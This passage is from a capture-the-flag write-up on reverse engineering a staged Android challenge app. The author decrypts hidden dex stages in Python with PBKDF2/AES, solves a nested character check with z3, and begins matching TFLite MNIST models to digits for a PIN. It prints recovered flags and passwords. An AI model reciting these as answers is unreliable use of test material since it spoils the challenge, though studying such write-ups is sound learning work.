         }

         var4 = true;
      }

      return var4;
}
```

I greatly pruned the code because there were a lot of try/catches and stuff that heavily impacted readability.

Here's what we can understand from this piece:

* Some string `var290` is hashed with MD5 and compared to `b71985397688d6f1820685dde534981b`
* `var290` is used to derived an AES key
* The file `step_1.dex` is decrypted with this key
* A few ciphertexts are decrypted too (in base64: `j04vGcW35ZUg23JsqQ+/YA==`, `WOtre8ObMy2nnFbqn2Kb6w==` and `J9vFCBjTjE6YoMI1wVDwjg==`)
* A longer ciphertext (`bjmQcWsAN3k8NxmaYYWvy6L+SDvu3ZlDFMSFvepIycxwZLgw5qGRB5ggJLHpDvW3`) is decrypted and put in the `a` field of the `flag` shared preferences object

All of this is quite approximative, but it doesn't matter; it's enough to make progress.

The md5 reverses to "jean". I found an implementation of PBKDF2WithHmacSHA256 in Python, which I used to decrypt all the ciphertexts:

```python
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
from base64 import b64decode

salt = [56, -35, 119, -111, 71, 113, -83, 70, -119, 122, -92, 22, 124, 23, -83, 110]
salt = list(map(lambda u: u % 256, salt))
salt = bytes(salt)

iv = [-101, 105, -107, -118, -65, 117, -35, 92, -47, -112, -102, -76, 40, -21, 69, 93]
iv = list(map(lambda u: u % 256, iv))
iv = bytes(iv)

def decrypt(blob, passwd):
  key = pbkdf2_hmac(
    hash_name='sha256', 
    password=passwd, 
    salt=salt, 
    iterations=65536, 
    dklen=32,
  )
  aes = AES.new(key, AES.MODE_CBC, iv)
  return aes.decrypt(blob)

C = """j04vGcW35ZUg23JsqQ+/YA==
WOtre8ObMy2nnFbqn2Kb6w==
J9vFCBjTjE6YoMI1wVDwjg==
bjmQcWsAN3k8NxmaYYWvy6L+SDvu3ZlDFMSFvepIycxwZLgw5qGRB5ggJLHpDvW3""".split('\n')

C = list(map(b64decode, C))

for c in C:
  print(decrypt(c, b'jean'))

open('step_1_decoded.dex', 'wb').write(
  decrypt(open('step_1.dex', 'rb'), b'jean')
)
```

Result:

```
b'delete\n\n\n\n\n\n\n\n\n\n'
b'a.a.a.c\t\t\t\t\t\t\t\t\t'
b'a\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
b'LuKXSGlN5(%:Vk=alEbl9khIEPBo=mXu;hR7Ez7E\x08\x08\x08\x08\x08\x08\x08\x08'
```

Okay, so the first three plaintexts are not that interesting. Maybe the second one will be the path to the class in the next step. On the other hand, the fourth plaintext looks very interesting. It looks like some kind of key.

Now let's decompile the newly decrypted .dex file!

![step 1 tree](/files/-MKXG4v59HT1RkJqRej1)

```java
public final Thread a(@NotNull Activity var1) {
      SharedPreferences var2 = var1.getSharedPreferences("save", 0);
      var1.getSharedPreferences("flag", 0).edit().putString("w", "k").apply();
      Toast.makeText(var1, "You made it to step 1", 0).show();
      String var3 = var2.getString("pass1", (String)null);
      LinearLayout var4 = (LinearLayout)var1.findViewById(id.base);
      View var5 = View.inflate(var1, layout.check, (ViewGroup)null);
      Button var6 = (Button)var5.findViewById(id.validation);
      EditText var7 = (EditText)var5.findViewById(id.password);
      var7.setText(var3);
      var4.addView(var5);
      var6.setOnClickListener(new b(var7, var1, var2, this, var1));
      return ThreadsKt.thread$default(false, false, (ClassLoader)null, (String)null, 0, new a.a.a.c.c(var1), 31, (Object)null);
   }
```

Cool, we made it to step1. We can see some weird stuff going on with the `flag` shared preferences object: the value "k" is affected to the key "w"...

In `a/a/a/d.class`, we can see a few potential new ciphertexts:

```java
public static final String a = "ZnoETjqJ0h3VUtdPQnzkWsqrDFtvsK4BQ+1NJGx38YHXq9QxUEmztU9CsN4vCTbI";
public static final String b = "tvEf77LVcQcHX2FtkIoSBQ==";
public static final String c = "TbQSB6aY7Ye++tVv84UPIA==";
public static final String d = "biPW3PPcH5wQHBNdE6eP2Pg4K9UAZT8guUhpNLV44RzWdYVT91LcP8WgtY+9QrUUKWfW0FIyKHVg3P7AKS9vIQ==";
public static final String e = "n/CG6W9Ilu8muE8UGJM29S/2JV4hw2O/IX8IPBartj7qvWP0MasL7ZujCyHYH1ERYd+NP+IzVaTuRwT+TbCoSA==";
public static final String f = "7wwCGcbnGp/EAusByZQYcYsxSfBxiEHP4GZPjsAHjGLYVryk6yS9xTo6GmF1J6Z6rDvp8XnuBCZ97DmURQx+lvAvrebYDXPEbiVOcSANTk4=";
public static final String g = "EIW2q6l3m0ZvO1G6+QgXDVqiFcGj5tDV9tEtCRHJ6ALV2bwYxBzUvY4S5LuERqdrqm4RGDU3xHXOJr6+buDwIg==";
```

In `a/a/a/e/c.class`, there's a new interesting piece of code:

```java
if (b.a.a()) {
   String var28 = var1.getSharedPreferences("flag", 0).getString("a", "");
   if (var28 == null) {
      Intrinsics.throwNpe();
   }

   IvParameterSpec var25 = new IvParameterSpec(new byte[]{-101, 105, -107, -118, -65, 117, -35, 92, -47, -112, -102, -76, 40, -21, 69, 93});
   SecretKeySpec var34 = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(var28.toCharArray(), new byte[]{56, -35, 119, -111, 71, 113, -83, 70, -119, 122, -92, 22, 124, 23, -83, 110}, 65536, 256)).getEncoded(), "AES");
   Cipher var29 = Cipher.getInstance("AES/CBC/PKCS7Padding");
   var29.init(2, var34, var25);
   b.a.a(var29);
}

List var30 = StringsKt.split$default(new String(b.a.a().doFinal(Base64.decode("7wwCGcbnGp/EAusByZQYcYsxSfBxiEHP4GZPjsAHjGLYVryk6yS9xTo6GmF1J6Z6rDvp8XnuBCZ97DmURQx+lvAvrebYDXPEbiVOcSANTk4=", 0)), Charsets.UTF_8), new String[]{"!"}, false, 0, 6, (Object)null);
ArrayList var26 = new ArrayList();
Iterator var31 = var30.iterator();
```

Looks like it's the same crypto as before, but with a different key which is the string contained in the `a` field of `flag`. Luckily, we might know what this key is. Let's try it out:

```python
C = """ZnoETjqJ0h3VUtdPQnzkWsqrDFtvsK4BQ+1NJGx38YHXq9QxUEmztU9CsN4vCTbI
tvEf77LVcQcHX2FtkIoSBQ==
TbQSB6aY7Ye++tVv84UPIA==
biPW3PPcH5wQHBNdE6eP2Pg4K9UAZT8guUhpNLV44RzWdYVT91LcP8WgtY+9QrUUKWfW0FIyKHVg3P7AKS9vIQ==
n/CG6W9Ilu8muE8UGJM29S/2JV4hw2O/IX8IPBartj7qvWP0MasL7ZujCyHYH1ERYd+NP+IzVaTuRwT+TbCoSA==
7wwCGcbnGp/EAusByZQYcYsxSfBxiEHP4GZPjsAHjGLYVryk6yS9xTo6GmF1J6Z6rDvp8XnuBCZ97DmURQx+lvAvrebYDXPEbiVOcSANTk4=
EIW2q6l3m0ZvO1G6+QgXDVqiFcGj5tDV9tEtCRHJ6ALV2bwYxBzUvY4S5LuERqdrqm4RGDU3xHXOJr6+buDwIg==""".split('\n')

C = list(map(b64decode, C))

for c in C:
  print(decrypt(c, b'LuKXSGlN5(%:Vk=alEbl9khIEPBo=mXu;hR7Ez7E'))
```

Result:

```
b'\xf9\xd8\xbe\xe0O\x8bD\xdcL\x84\xb0X|\xd0\xac\xcc\x19\xcd\xd3V\xa6\xbd}\xc3"\x81\x8e\x08\xc0\xab8\xc7i?\x18\xadV\xff\xb3(6Tf\xf8?\xe3\xac\xdb'
b'\x01\xd8\x96X=\xd0\xb01_\x9dN\xc3\x16&\x0e\xa4'
b'\xe6\xe2\xf7KR\x18\xe5$kN\x802\xbf4\x1d('
b'45:*!3:s!42:b!43:j!31:1!7:d!44:M!28:9!0:p!5:o!18:_!24:5!50:O!\x03\x03\x03'
b'19:i!38:V!49:b!34:b!4:w!23:y!1:a!41:%!16:p!14:t!6:r!13:s!12:_!\x02\x02'
b"8:_!15:e!47:R!35:Z!46:'!51:7!25:B!11:r!26:<!48:C!10:o!27:S!33:r!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10"
b'22:p!40:V!20:s!2:s!17:1!21::!32:W!29:a!37:.!39:t!30:T!36:U!9:f!\x01'
```

The first three ciphertexts translated to garbage with incorrect PKCS padding, but the four last did yield quite interesting plaintexts.

I instantly had the intuition to split them on "!" and sort the "k:b" pairs by the "k" value:

```python
q = """45:*!3:s!42:b!43:j!31:1!7:d!44:M!28:9!0:p!5:o!18:_!24:5!50:O!19:i!38:V!49:b!34:b!4:w!23:y!1:a!41:%!16:p!14:t!6:r!13:s!12:_!8:_!15:e!47:R!35:Z!46:'!51:7!25:B!11:r!26:<!48:C!10:o!27:S!33:r!22:p!40:V!20:s!2:s!17:1!21::!32:W!29:a!37:.!39:t!30:T!36:U!9:f"""
q = q.split('!')
Q = [0] * 100
for qq in q:
  if qq.count(':') == 2:
    ch = ':'
    offset = qq.split(':')[0]
  else:
    offset, ch = qq.split(':')
  Q[int(offset)] = ord(ch)

print(bytes(Q))
```

Result : `password_for_step1_is:py5B<S9aT1WrbZU.VtV%bjM*'RCbO7`

Really cool, what if we try this password as a key for the remaining ciphertexts that we weren't able to decrypt earlier?

```python
C = """ZnoETjqJ0h3VUtdPQnzkWsqrDFtvsK4BQ+1NJGx38YHXq9QxUEmztU9CsN4vCTbI
tvEf77LVcQcHX2FtkIoSBQ==
TbQSB6aY7Ye++tVv84UPIA==""".split('\n')
C = list(map(b64decode, C))

K = b'py5B<S9aT1WrbZU.VtV%bjM*\'RCbO7'
for c in C:
  print(decrypt(c, K))
```

And here we have our first flag!

```
b'ECW_oe8%jXffkWul&#!V@tqB(:V%WP?JUKm@I(2KqIfv\x04\x04\x04\x04'
b'a.a.a.c\t\t\t\t\t\t\t\t\t'
b'a\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
```

### Part 2

If we try to decrypt `step_2.dex` with the last key (`py5B<S9aT1WrbZU.VtV%bjM*'RCbO7`), we do get a valid dex file again. Let's decompile it.

The `a/a/a/d.class` file contains three new ciphertexts, we're used to it at that point.

```java
public static final String a = "5sxJURBMWadPV+Qfj2g/WFVWcaLbXoUxyXeiIvpa4pu1SjSj0nqneJeN0tNkKbJx";
public static final String b = "gkZ6pGuoDU6Lz5bc23Y/5ZfI9XPcJd/r1PRrsE1epqc=";
public static final String c = "rbfA5lkSHq0eL4dmwH4gHg==";
```

The `a/a/a/e.class` is the interesting part.

```java
public final boolean a(@NotNull String var1) {
      boolean var2 = false;
      boolean var3 = var2;
      if (f.a(var1, 4, 0, 2, (Object)null) * f.a(var1, 6, 0, 2, (Object)null) == 4840) {
         var3 = var2;
         if ((char)(f.a(var1, 9, 0, 2, (Object)null) + f.a(var1, 14, 0, 2, (Object)null)) == 217) {
            var3 = var2;
            if (f.a(var1, 6, 0, 2, (Object)null) * f.a(var1, 8, 0, 2, (Object)null) == 9559) {
               var3 = var2;
               if ((char)(f.a(var1, 8, 0, 2, (Object)null) + f.a(var1, 13, 0, 2, (Object)null)) == 141) {
                  var3 = var2;
                  if (f.a(var1, 9, 0, 2, (Object)null) * f.a(var1, 7, 0, 2, (Object)null) == 10494) {
                     var3 = var2;
                     if (f.a(var1, 1, 0, 2, (Object)null) * f.a(var1, 2, 0, 2, (Object)null) == 5346) {
                        var3 = var2;
                        if (f.a(var1, 4, 0, 2, (Object)null) * f.a(var1, 0, 0, 2, (Object)null) == 3360) {
                           var3 = var2;
                           if ((char)(f.a(var1, 10, 0, 2, (Object)null) + f.a(var1, 2, 0, 2, (Object)null)) == 167) {
                              var3 = var2;
                              if (f.a(var1, 9, 0, 2, (Object)null) * f.a(var1, 13, 0, 2, (Object)null) == 6138) {
                                 var3 = var2;
                                 if ((char)(f.a(var1, 12, 0, 2, (Object)null) + f.a(var1, 14, 0, 2, (Object)null)) == 193) {
                                    var3 = var2;
                                    if (f.a(var1, 6, 0, 2, (Object)null) * f.a(var1, 3, 0, 2, (Object)null) == 13794) {
                                       var3 = var2;
                                       if (f.a(var1, 3, 0, 2, (Object)null) * f.a(var1, 10, 0, 2, (Object)null) == 9804) {
                                          var3 = var2;
                                          if (f.a(var1, 7, 0, 2, (Object)null) * f.a(var1, 0, 0, 2, (Object)null) == 8904) {
                                             var3 = var2;
                                             if ((char)(f.a(var1, 7, 0, 2, (Object)null) + f.a(var1, 14, 0, 2, (Object)null)) == 224) {
                                                var3 = var2;
                                                if ((char)(f.a(var1, 9, 0, 2, (Object)null) + f.a(var1, 13, 0, 2, (Object)null)) == 161) {
                                                   var3 = var2;
                                                   if (f.a(var1, 9, 0, 2, (Object)null) * f.a(var1, 14, 0, 2, (Object)null) == 11682) {
                                                      var3 = var2;
                                                      if ((char)(f.a(var1, 10, 0, 2, (Object)null) + f.a(var1, 13, 0, 2, (Object)null)) == 148) {
                                                         var3 = var2;
                                                         if ((char)(f.a(var1, 14, 0, 2, (Object)null) + f.a(var1, 5, 0, 2, (Object)null)) == 216) {
                                                            var3 = var2;
                                                            if ((char)(f.a(var1, 4, 0, 2, (Object)null) + f.a(var1, 6, 0, 2, (Object)null)) == 161) {
                                                               var3 = var2;
                                                               if ((char)(f.a(var1, 6, 0, 2, (Object)null) + f.a(var1, 2, 0, 2, (Object)null)) == 202) {
                                                                  var3 = var2;
                                                                  if (f.a(var1, 9, 0, 2, (Object)null) * f.a(var1, 8, 0, 2, (Object)null) == 7821) {
                                                                     var3 = var2;
                                                                     if (f.a(var1, 14, 0, 2, (Object)null) * f.a(var1, 5, 0, 2, (Object)null) == 11564) {
                                                                        var3 = var2;
                                                                        if (f.a(var1, 9, 0, 2, (Object)null) * f.a(var1, 4, 0, 2, (Object)null) == 3960) {
                                                                           var3 = var2;
                                                                           if ((char)(f.a(var1, 4, 0, 2, (Object)null) + f.a(var1, 8, 0, 2, (Object)null)) == 'w') {
                                                                              var3 = var2;
                                                                              if ((char)(f.a(var1, 6, 0, 2, (Object)null) + f.a(var1, 3, 0, 2, (Object)null)) == 235) {
                                                                                 var3 = var2;
                                                                                 if (f.a(var1, 6, 0, 2, (Object)null) * f.a(var1, 2, 0, 2, (Object)null) == 9801) {
                                                                                    var3 = var2;
                                                                                    if ((char)(f.a(var1, 0, 0, 2, (Object)null) + f.a(var1, 10, 0, 2, (Object)null)) == 170) {
                                                                                       var3 = var2;
                                                                                       if (f.a(var1, 7, 0, 2, (Object)null) * f.a(var1, 10, 0, 2, (Object)null) == 9116) {
                                                                                          var3 = var2;
                                                                                          if ((char)(f.a(var1, 7, 0, 2, (Object)null) + f.a(var1, 10, 0, 2, (Object)null)) == 192) {
                                                                                             var3 = var2;
                                                                                             if ((char)(f.a(var1, 6, 0, 2, (Object)null) + f.a(var1, 8, 0, 2, (Object)null)) == 200) {
                                                                                                var3 = var2;
                                                                                                if (f.a(var1, 11, 0, 2, (Object)null) * f.a(var1, 1, 0, 2, (Object)null) == 6468) {
                                                                                                   var3 = var2;
                                                                                                   if ((char)(f.a(var1, 9, 0, 2, (Object)null) + f.a(var1, 8, 0, 2, (Object)null)) == 178) {
                                                                                                      var3 = var2;
                                                                                                      if ((char)(f.a(var1, 2, 0, 2, (Object)null) + f.a(var1, 14, 0, 2, (Object)null)) == 199) {
                                                                                                         var3 = var2;
                                                                                                         if ((char)(f.a(var1, 7, 0, 2, (Object)null) + f.a(var1, 0, 0, 2, (Object)null)) == 190) {
                                                                                                            var3 = var2;
                                                                                                            if (f.a(var1, 8, 0, 2, (Object)null) * f.a(var1, 5, 0, 2, (Object)null) == 7742) {
                                                                                                               var3 = var2;
                                                                                                               if (f.a(var1, 15, 0, 2, (Object)null) * f.a(var1, 13, 0, 2, (Object)null) == 7316) {
                                                                                                                  var3 = var2;
                                                                                                                  if (f.a(var1, 10, 0, 2, (Object)null) * f.a(var1, 13, 0, 2, (Object)null) == 5332) {
                                                                                                                     var3 = var2;
                                                                                                                     if (f.a(var1, 8, 0, 2, (Object)null) * f.a(var1, 13, 0, 2, (Object)null) == 4898) {
                                                                                                                        var3 = var2;
                                                                                                                        if ((char)(f.a(var1, 6, 0, 2, (Object)null) + f.a(var1, 14, 0, 2, (Object)null)) == 239) {
                                                                                                                           var3 = var2;
                                                                                                                           if ((char)(f.a(var1, 8, 0, 2, (Object)null) + f.a(var1, 5, 0, 2, (Object)null)) == 177) {
                                                                                                                              var3 = var2;
                                                                                                                              if (f.a(var1, 1, 0, 2, (Object)null) * f.a(var1, 4, 0, 2, (Object)null) == 2640) {
                                                                                                                                 var3 = var2;
                                                                                                                                 if ((char)(f.a(var1, 0, 0, 2, (Object)null) + f.a(var1, 3, 0, 2, (Object)null)) == 198) {
                                                                                                                                    var3 = var2;
                                                                                                                                    if ((char)(f.a(var1, 11, 0, 2, (Object)null) + f.a(var1, 1, 0, 2, (Object)null)) == 164) {
                                                                                                                                       var3 = var2;
                                                                                                                                       if (f.a(var1, 10, 0, 2, (Object)null) * f.a(var1, 2, 0, 2, (Object)null) == 6966) {
                                                                                                                                          var3 = var2;
                                                                                                                                          if (f.a(var1, 0, 0, 2, (Object)null) * f.a(var1, 3, 0, 2, (Object)null) == 9576) {
                                                                                                                                             var3 = var2;
                                                                                                                                             if (f.a(var1, 12, 0, 2, (Object)null) * f.a(var1, 14, 0, 2, (Object)null) == 8850) {
                                                                                                                                                var3 = var2;
                                                                                                                                                if (f.a(var1, 6, 0, 2, (Object)null) * f.a(var1, 14, 0, 2, (Object)null) == 14278) {
                                                                                                                                                   var3 = var2;
                                                                                                                                                   if (f.a(var1, 0, 0, 2, (Object)null) * f.a(var1, 10, 0, 2, (Object)null) == 7224) {
                                                                                                                                                      var3 = var2;
                                                                                                                                                      if (f.a(var1, 2, 0, 2, (Object)null) * f.a(var1, 14, 0, 2, (Object)null) == 9558) {
                                                                                                                                                         var3 = var2;
                                                                                                                                                         if ((char)(f.a(var1, 9, 0, 2, (Object)null) + f.a(var1, 7, 0, 2, (Object)null)) == 205) {
                                                                                                                                                            var3 = var2;
                                                                                                                                                            if ((char)(f.a(var1, 8, 0, 2, (Object)null) + f.a(var1, 0, 0, 2, (Object)null)) == 163) {
                                                                                                                                                               var3 = var2;
                                                                                                                                                               if ((char)(f.a(var1, 15, 0, 2, (Object)null) + f.a(var1, 13, 0, 2, (Object)null)) == 180) {
                                                                                                                                                                  var3 = var2;
                                                                                                                                                                  if ((char)(f.a(var1, 1, 0, 2, (Object)null) + f.a(var1, 4, 0, 2, (Object)null)) == 'j') {
                                                                                                                                                                     var3 = var2;
                                                                                                                                                                     if (f.a(var1, 8, 0, 2, (Object)null) * f.a(var1, 0, 0, 2, (Object)null) == 6636) {
                                                                                                                                                                        var3 = var2;
                                                                                                                                                                        if (f.a(var1, 4, 0, 2, (Object)null) * f.a(var1, 8, 0, 2, (Object)null) == 3160) {
                                                                                                                                                                           var3 = var2;
                                                                                                                                                                           if ((char)(f.a(var1, 4, 0, 2, (Object)null) + f.a(var1, 0, 0, 2, (Object)null)) == '|') {
                                                                                                                                                                              var3 = var2;
                                                                                                                                                                              if (f.a(var1, 7, 0, 2, (Object)null) * f.a(var1, 14, 0, 2, (Object)null) == 12508) {
                                                                                                                                                                                 var3 = var2;
                                                                                                                                                                                 if ((char)(f.a(var1, 3, 0, 2, (Object)null) + f.a(var1, 10, 0, 2, (Object)null)) == 200) {
                                                                                                                                                                                    var3 = var2;
                                                                                                                                                                                    if ((char)(f.a(var1, 9, 0, 2, (Object)null) + f.a(var1, 4, 0, 2, (Object)null)) == 139) {
                                                                                                                                                                                       var3 = var2;
                                                                                                                                                                                       if ((char)(f.a(var1, 1, 0, 2, (Object)null) + f.a(var1, 2, 0, 2, (Object)null)) == 147) {
                                                                                                                                                                                          var3 = true;
                                                                                                                                                                                       }
                                                                                                                                                                                    }
                                                                                                                                                                                 }
                                                                                                                                                                              }
                                                                                                                                                                           }
                                                                                                                                                                        }
                                                                                                                                                                     }
                                                                                                                                                                  }
                                                                                                                                                               }
                                                                                                                                                            }
                                                                                                                                                         }
                                                                                                                                                      }
                                                                                                                                                   }
                                                                                                                                                }
                                                                                                                                             }
                                                                                                                                          }
                                                                                                                                       }
                                                                                                                                    }
                                                                                                                                 }
                                                                                                                              }
                                                                                                                           }
                                                                                                                        }
                                                                                                                     }
                                                                                                                  }
                                                                                                               }
                                                                                                            }
                                                                                                         }
                                                                                                      }
                                                                                                   }
                                                                                                }
                                                                                             }
                                                                                          }
                                                                                       }
                                                                                    }
                                                                                 }
                                                                              }
                                                                           }
                                                                        }
                                                                     }
                                                                  }
                                                               }
                                                            }
                                                         }
                                                      }
                                                   }
                                                }
                                             }
                                          }
                                       }
                                    }
                                 }
                              }
                           }
                        }
                     }
                  }
               }
            }
         }
      }

      return var3;
   }
```

A huge pyramid of conditions on some string called `var1`!

Let's take a look at the first one:

```java
if (f.a(var1, 4, 0, 2) * f.a(var1, 6, 0, 2) == 4840)
```

I removed the "(Object)null" arguments which are probably useless decompilation artifacts. What does this `f.a` function do now? Let's take a look at the `f.class` file:

```java
public static final int a(@NotNull String var0, int var1, int var2) {
  Character var3 = StringsKt.getOrNull(var0, var1);
  if (var3 != null) {
     var2 = var3;
  }

  return var2;
}
```

The Kotlin documentation says: *`getOrNull` returns a character at the given index or null if the index is out of bounds of this char sequence*.

Not sure about the extra arguments, but what's highly likely is we are isolating `var1[4]`, `var1[6]` and multiplying them.

I extracted the pyramid of if's in a text file, wrote a script to parse it and directly feed it into z3:

```python
from z3 import *

dump = open('dump.txt', 'r').read().split('\n')[::2]
variables = [Int('k%s' % i) for i in range(16)]

V = []
V += [variables[i] >= 0 for i in range(16)]
V += [variables[i] < 256 for i in range(16)]

for line in dump:
  i1 = int(line.split(',')[1].replace(' ', ''))
  i2 = int(line.split(',')[5].replace(' ', ''))
  z = line.split('== ')[1].split(')')[0]
  if "'" in z:
    z = ord(z.replace("'", ''))
  else:
    z = int(z)
  op = line.split('l) ')[1].split(' ')[0]
  # print(i1, op, i2, z)
  if op == '+':
    V.append(variables[i1] + variables[i2] == z)
  if op == '*':
    V.append(variables[i1] * variables[i2] == z)

solve(V)
```

Output:

```
[k15 = 118,
 k14 = 118,
 k13 = 62,
 k12 = 75,
 k11 = 98,
 k10 = 86,
 k9 = 99,
 k8 = 79,
 k7 = 106,
 k6 = 121,
 k5 = 98,
 k4 = 40,
 k3 = 114,
 k2 = 81,
 k1 = 66,
 k0 = 84]
```

Wonderful, now let's say this is a key and try to decrypt the three given ciphertexts:

```python
K = [118, 118, 62, 75, 98, 86, 99, 79, 106, 121, 98, 40, 114, 81, 66, 84]
K = bytes(K[::-1])

print(K)

C = """5sxJURBMWadPV+Qfj2g/WFVWcaLbXoUxyXeiIvpa4pu1SjSj0nqneJeN0tNkKbJx
gkZ6pGuoDU6Lz5bc23Y/5ZfI9XPcJd/r1PRrsE1epqc=
rbfA5lkSHq0eL4dmwH4gHg==""".split('\n')
C = list(map(b64decode, C))

for c in C:
  print(decrypt(c, K))
```

Here we have our second flag!

```
b'TBQr(byjOcVbK>vv'
b"ECW_AIU/yMZg3c7(NqGyqu8Iv3j8Oszx+1<>i'7&o(9g\x04\x04\x04\x04"
b'com.example.step_3.Step3\x08\x08\x08\x08\x08\x08\x08\x08'
b'run\r\r\r\r\r\r\r\r\r\r\r\r\r'
```

### Part 3

Once again, the last key that we managed to retrieve is able to decrypt the next step, `step_3.dex`.

![step 3 tree](/files/-MKXG4vGtEHedZrSPd8x)

The most interesting method is inside `FinishImpl.class`:

```java
private final void classifyDrawing() {
      DrawView var1 = this.drawView;
      Bitmap var7;
      if (var1 != null) {
         var7 = var1.getBitmap();
      } else {
         var7 = null;
      }

      if (var7 != null && this.digitClassifier.isInitialized()) {
         int var2 = this.digitClassifier.getNumber(var7);
         String var3 = "recognized: " + var2;
         System.out.println(var3);
         String var8;
         if (this.digitClassifier.verifyNext(var7, this.index)) {
            if (var2 == -1) {
               Toast.makeText(this.activity, "An error happened", 0).show();
            } else {
               var8 = this.pin;
               this.pin = var8 + var2;
            }
         }

         var2 = this.index + 1;
         this.index = var2;
         if (var2 == 12) {
            try {
               StringBuilder var9 = new StringBuilder();
               String var4 = var9.append(this.password).append(this.pin).toString();
               IvParameterSpec var10 = new IvParameterSpec(new byte[]{-101, 105, -107, -118, -65, 117, -35, 92, -47, -112, -102, -76, 40, -21, 69, 93});
               SecretKeyFactory var11 = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
               char[] var15 = var4.toCharArray();
               PBEKeySpec var5 = new PBEKeySpec(var15, new byte[]{56, -35, 119, -111, 71, 113, -83, 70, -119, 122, -92, 22, 124, 23, -83, 110}, 65536, 256);
               SecretKey var16 = var11.generateSecret(var5);
               SecretKeySpec var12 = new SecretKeySpec(var16.getEncoded(), "AES");
               Cipher var17 = Cipher.getInstance("AES/CBC/PKCS7Padding");
               var17.init(2, var12, var10);
               Activity var13 = this.activity;
               Intent var14 = new Intent();
               byte[] var18 = var17.doFinal(Base64.decode("fEd6buSL5HmuH0pTdCJG4ZVCCn/bMC8bun44MKlw6mz2UrtH9Zhz3gMax4X8eGq5", 0));
               var4 = new String(var18, Charsets.UTF_8);
               var14.putExtra("end_flag", var4);
               var13.setResult(10, var14);
               this.activity.finish();
            } catch (Exception var6) {
               var8 = "Wrong pin: " + this.pin;
               System.out.println(var8);
               this.index = 0;
               this.pin = "";
               Toast.makeText(this.activity, "Try again", 0).show();
            }
         }

         if (this.index == 12) {
            this.index = 0;
         }
      }

   }
```

We need to find the key to decrypt `fEd6buSL5HmuH0pTdCJG4ZVCCn/bMC8bun44MKlw6mz2UrtH9Zhz3gMax4X8eGq5`, the final ciphertext that will give us the flag.

The key for this step is constructed as follows:

```java
StringBuilder var9 = new StringBuilder();
String var4 = var9.append(this.password).append(this.pin).toString();
```

It is the concatenation of `password` and `pin`.

Let's take a look at the pin first, since it happens to be constructed right before.

```java
int var2 = this.digitClassifier.getNumber(var7);
String var3 = "recognized: " + var2;
System.out.println(var3);
String var8;
if (this.digitClassifier.verifyNext(var7, this.index)) {
if (var2 == -1) {
   Toast.makeText(this.activity, "An error happened", 0).show();
} else {
   var8 = this.pin;
   this.pin = var8 + var2;
}
}

var2 = this.index + 1;
this.index = var2;
```

Our intuition (since we still have no clue whatsoever what the application looks like at this point, let's remember that 😃) is that there is a way to input hand-drawn digits, and a classifier is used to recognize them. The method `getNumber` returns the most probable digit that was last input, and the pin will be a concatenation of these digits... or at least, those who pass the `verifyNext` test. But what does `verifyNext` do?

```java
public final boolean verifyNext(@NotNull Bitmap var1, int var2) {
  if (!this.isInitialized) {
     throw new IllegalStateException("TF Lite Interpreter is not initialized yet.".toString());
  } else {
     ByteBuffer var6 = this.convertBitmapToByteBuffer(Bitmap.createScaledBitmap(var1, this.inputImageWidth, this.inputImageHeight, true));
     List var3 = this.interpreters;
     Interpreter var7 = (Interpreter)var3.get(var2 % var3.size());
     float[][] var4 = new float[1][];

     for(var2 = 0; var2 < 1; ++var2) {
        var4[var2] = new float[2];
     }

     var7.run(var6, var4);
     boolean var5;
     if (var4[0][1] > var4[0][0]) {
        var5 = true;
     } else {
        var5 = false;
     }

     return var5;
  }
}
```

This is starting to get spicy. Our digit is converted into a bitmap and fed to an *interpreter* of a certain index. We can see that `this.interpreters` is initialized here:

```java
for(char var3 = (char)var2; var3 < 'm'; var3 = var8) {
    Interpreter var4 = new Interpreter(this.loadModelFile(var1, "mnist-" + var3 + ".tflite"), new Options());
    int[] var5 = var4.getInputTensor(0).shape();
    int var6 = var5[1];
    this.inputImageWidth = var6;
    int var7 = var5[2];
    this.inputImageHeight = var7;
    this.modelInputSize = var7 * var6 * 4 * 1;
    this.interpreters.add(var4);
    var8 = (char)(var3 + 1);
}
```

So this is where all of this comes from...! The `mnist-letter.tflite` files that we noticed at the beginning are used to create an array of 12 interpreters.

For the *i*-th digit, we load the *i*-th interpreter, we run it on the bitmap and we get a result `var4`. We can guess the output is 2-dimensions, and we're verifying whether the first scalar is greater than the second:

```java
if (var4[0][1] > var4[0][0]) {
    var5 = true;
}
```

...which probably means these outputs are like "probability that the digit is *something*" and "probability that it is not". It might then very be that each of these files are models that are trained to recognize *one* specific digit!

```
$ md5sum mnist-*         
010e5a2494a04f08c0453dbac553c2ba  mnist-a.tflite
6b2903e895d553b1d42a0d8e4b7fa5db  mnist-b.tflite
2ac84ad634cbeaca570997fc467e63da  mnist-c.tflite
be0b0e004cce204541b4f64ffe33ca77  mnist-d.tflite
4838cff830ccbad1aa87eebd1006b072  mnist-e.tflite
ef12eb1551edaabc143d05b95715436f  mnist-f.tflite
2ac84ad634cbeaca570997fc467e63da  mnist-g.tflite
67b11b30528fee5225f456883be13a05  mnist-h.tflite
ef12eb1551edaabc143d05b95715436f  mnist-i.tflite
73e40fee1f151d907795c5a5274e6965  mnist-j.tflite
be0b0e004cce204541b4f64ffe33ca77  mnist-k.tflite
73e40fee1f151d907795c5a5274e6965  mnist-l.tflite
```

We can also notice some of these files are the same, which means they are models for the same digits. This makes the search space smaller if we ever want to bruteforce the pin (don't make fun of me, I tried bruteforce for hours because I had the wrong `password` but we'll get to this later).

The idea now is to download a test set of images and labels from the [MNIST handwritten digit database](http://yann.lecun.com/exdb/mnist/), and for each interpreter, see which letter matches the best. I am not very familiar with tensorflow, but all it takes is some copy/pasting and tweaks:

```python
import argparse, time, sys
import numpy as np
from PIL import Image
import tflite_runtime.interpreter as tflite

def load_labels(filename):
  with open(filename, 'r') as f:
    return [line.strip() for line in f.readlines()]

f = open('plouf/t10k-images-idx3-ubyte', 'rb').read()
f = f[4+4+4+4:]
imgs = []
for i in range(500):
  imgs.append(
    np.expand_dims(
      np.reshape(
        np.array([(np.float32(x) / 255) for x in f[28 * 28 * i:28 * 28 * (i + 1)]], dtype=np.float32),
        (28, 28)
      ),
      axis=0
    )
  )

f = open('plouf/t10k-labels-idx1-ubyte', 'rb').read()
